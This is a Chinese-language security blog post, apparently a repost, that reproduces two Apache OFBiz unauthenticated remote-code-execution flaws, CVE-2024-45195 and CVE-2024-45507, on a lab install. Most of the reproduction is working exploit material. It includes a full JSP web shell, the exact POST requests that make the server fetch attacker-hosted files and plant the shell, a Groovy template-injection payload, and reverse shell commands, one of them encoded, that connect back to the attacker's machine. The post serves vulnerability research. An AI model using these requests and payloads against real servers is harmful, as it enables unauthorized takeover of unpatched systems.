Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

admin 2024年9月19日14:26:24评论48 views字数 4708阅读15分41秒阅读模式

申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。

0x01 CVE-2024-45195

一、漏洞描述

Apache OFBiz < 18.12.16版本中未经身份认证的远程攻击者可通过控制请求从而写入恶意文件获取服务器权限,造成远程代码执行。

二、漏洞原理

该漏洞本质上还是ofbiz的路由与鉴权问题,是由于之前漏洞(CVE-2024-32113、CVE-2024-36104和CVE-2024-38856)未完全修复所导致。关于ofbiz的历史RCE漏洞,路由与鉴权问题可以看我之前的文章:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

在Apache OFBiz版本18.12.16之前,开发人员对这些先前的问题进行了修复,但控制器视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。

漏洞细节已在互联网公开,详情请看:

https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

三、漏洞复现

1.环境搭建

下载OFBiz 18.12.15版本:

wget https://dlcdn.apache.org/ofbiz/apache-ofbiz-18.12.15.zip

安装(需要JDK8+):

unzip apache-ofbiz-18.12.15.zipcd apache-ofbiz-18.12.15./gradle/init-gradle-wrapper.sh./gradlew cleanAll loadAll  //需要等一段时间,我等了十多分钟./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=adminvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.6./gradlew ofbiz

然后访问https://yourip:8443/accounting即可

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

2.漏洞复现

该漏洞利用需要目标机器能够出网,尚未可知有没有不出网的玩法

在攻击机器开一个web服务,服务下放置两个文件:

rceschema.xml:

    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">            <record name="rceentry" limit="many">                <field name="jsp" type="String" length="607" position="0"></field>            </record>        </data-file>    </data-files>

rcereport.csv:

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Hello!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/bash"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

然后发送如下请求包:

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1Host: yourip:8443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Accept: */*Content-Length: 241Content-Type: application/x-www-form-urlencodedDATAFILE_LOCATION=http://vpsip:port/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://vpsip:port/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

可以看到目标机器向我们的攻击机器发起请求:

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

访问/accounting/index.jsp?cmd=whoami

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

反弹shell:

/accounting/index.jsp?cmd=bash+-i+>%26+%2Fdev%2Ftcp%2F10.211.55.3%2F1234+0>%261

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

0x02 CVE-2024-45507

一、漏洞描述

Apache OFBiz 18.12.16之前的版本存在一处SSRF与远程命令执行漏洞,未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。

二、漏洞原理

该漏洞本质上还是ofbiz的路由与鉴权问题,ofbiz 允许远程加载文件来渲染screen,比如StatsSinceStart这个screen,通过二次模版注入可进行远程代码执行。

该漏洞的分析可以参考先知和404实验室的paper:

https://xz.aliyun.com/t/15569

https://paper.seebug.org/3228/

三、漏洞复现

1.环境搭建

使用上面的OFBiz 18.12.15版本

2.漏洞复现

在攻击机器开一个web服务,服务下放置如下文件:

<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">    <screen name="StatsDecorator">        <section>            <actions>                <set value="${groovy:'payload'.execute();}"/>            </actions>        </section>    </screen></screens>

反弹shell时,payload为:

先对bash -i >& /dev/tcp/ip/port 0>&1进行base64编码,然后再对bash -c {echo,base64编码}|{base64,-d}|{bash,-i}进行unicode编码。

我这里是:

u0062u0061u0073u0068u0020u002Du0063u0020u007Bu0065u0063u0068u006Fu002Cu0059u006Du0046u007Au0061u0043u0041u0074u0061u0053u0041u002Bu004Au0069u0041u0076u005Au0047u0056u0032u004Cu0033u0052u006Au0063u0043u0038u0078u004Du0043u0034u0079u004Du0054u0045u0075u004Eu0054u0055u0075u004Du0079u0038u0035u004Fu0054u006Bu0035u0049u0044u0041u002Bu004Au006Au0045u003Du007Du007Cu007Bu0062u0061u0073u0065u0036u0034u002Cu002Du0064u007Du007Cu007Bu0062u0061u0073u0068u002Cu002Du0069u007D

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

发送如下数据包:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1Host: 10.211.55.6:8443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, br, zstdContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 24statsDecoratorLocation=http://10.211.55.3:8080/rce.xml

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

攻击机上收到请求:

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

并获得shell:

Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

参考链接:

https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

https://xz.aliyun.com/t/15569

https://paper.seebug.org/3228/

如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日14:26:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现https://cn-sec.com/archives/3179889.html

发表评论

匿名网友 填写信息